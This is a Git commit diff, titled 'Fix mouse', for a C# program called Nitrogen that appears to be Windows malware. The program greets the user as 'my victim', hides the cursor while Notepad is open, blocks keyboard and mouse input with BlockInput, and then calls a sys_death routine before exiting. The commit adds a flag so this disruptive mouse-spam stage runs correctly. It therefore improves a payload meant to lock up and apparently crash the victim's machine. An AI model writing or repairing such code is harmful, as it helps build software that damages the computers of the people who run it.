Fix mouse

This commit is contained in:
Vichingo455 2024-12-06 16:25:48 +01:00
parent b9b9477bc3
commit 9d3b0d12de
2 changed files with 4 additions and 1 deletions

View File

@ -268,6 +268,7 @@ namespace Nitrogen
public static void story()
{
Thread.Sleep(5000);
variables.mousespam = true;
Thread CheckNotepadThread = new Thread(CheckNotepad);
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
string text = "Hello my victim " + userName + "!" +
@ -342,7 +343,7 @@ namespace Nitrogen
public static void mouse_spam()
{
Process[] proces_name = Process.GetProcessesByName("notepad");
while (proces_name.Length == 1)
while (proces_name.Length == 1 && variables.mousespam)
{
Cursor.Hide();
proces_name = Process.GetProcessesByName("notepad");
@ -360,6 +361,7 @@ namespace Nitrogen
proces_name = Process.GetProcessesByName("notepad");
}
BlockInput(true);
variables.mousespam = false;
sys_death();
Environment.Exit(-1);
}

View File

@ -22,6 +22,7 @@ namespace Nitrogen
public static bool sounds = true;
public static bool extreme = false;
public static bool mousespam = false;
public static bool AlreadyRunning()
{
Process[] processes = Process.GetProcesses();